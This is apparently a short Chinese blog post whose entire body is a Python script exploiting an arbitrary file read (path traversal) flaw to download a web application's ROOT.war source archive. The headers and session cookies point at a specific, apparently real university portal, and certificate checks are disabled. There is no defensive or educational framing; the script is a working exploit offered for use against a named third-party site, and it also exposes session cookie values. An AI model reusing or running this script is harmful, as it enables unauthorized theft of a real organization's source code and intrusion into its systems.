利用Python通过任意文件读取漏洞下载大型源码

import requests
import urllib3

url = "https://xxxxx?realname=../../../../../../../../root/ROOT.war&downloadName=test.jpg&downloadPath=/usr/"

file_path = "C:\\Users\\Administrator\\Desktop\\ROOT.war"

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36",
    "Referer": "https://portal2.ctu.edu.tw/myPortal.do?thetime=1685002508359",
    "Accept-Language": "zh-CN,zh;q=0.9",
    "Cache-Control": "max-age=0",
    "Upgrade-Insecure-Requests": "1",
    "Sec-Fetch-Site": "same-origin",
    "Sec-Fetch-Mode": "navigate",
    "Sec-Fetch-User": "?1",
    "Sec-Fetch-Dest": "document",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
    "Origin": "https://portal2.ctu.edu.tw"
}

cookies = {
    "JSESSIONID": "aaa06omolzLdIbvI02lBy",
    "_gid": "GA1.3.1980219422.1684996771",
    "_ga_YXXYWH4TGQ": "GS1.1.1684998625.2.0.1684998625.0.0.0",
    "_ga": "GA1.1.340541961.1684996672",
    "_ga_X927KC0NK4": "GS1.1.1685000943.2.1.1685000949.0.0.0"
}

# 禁用 SSL 证书验证
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

response = requests.get(url, headers=headers, cookies=cookies, verify=False)
with open(file_path, 'wb') as file:
    file.write(response.content)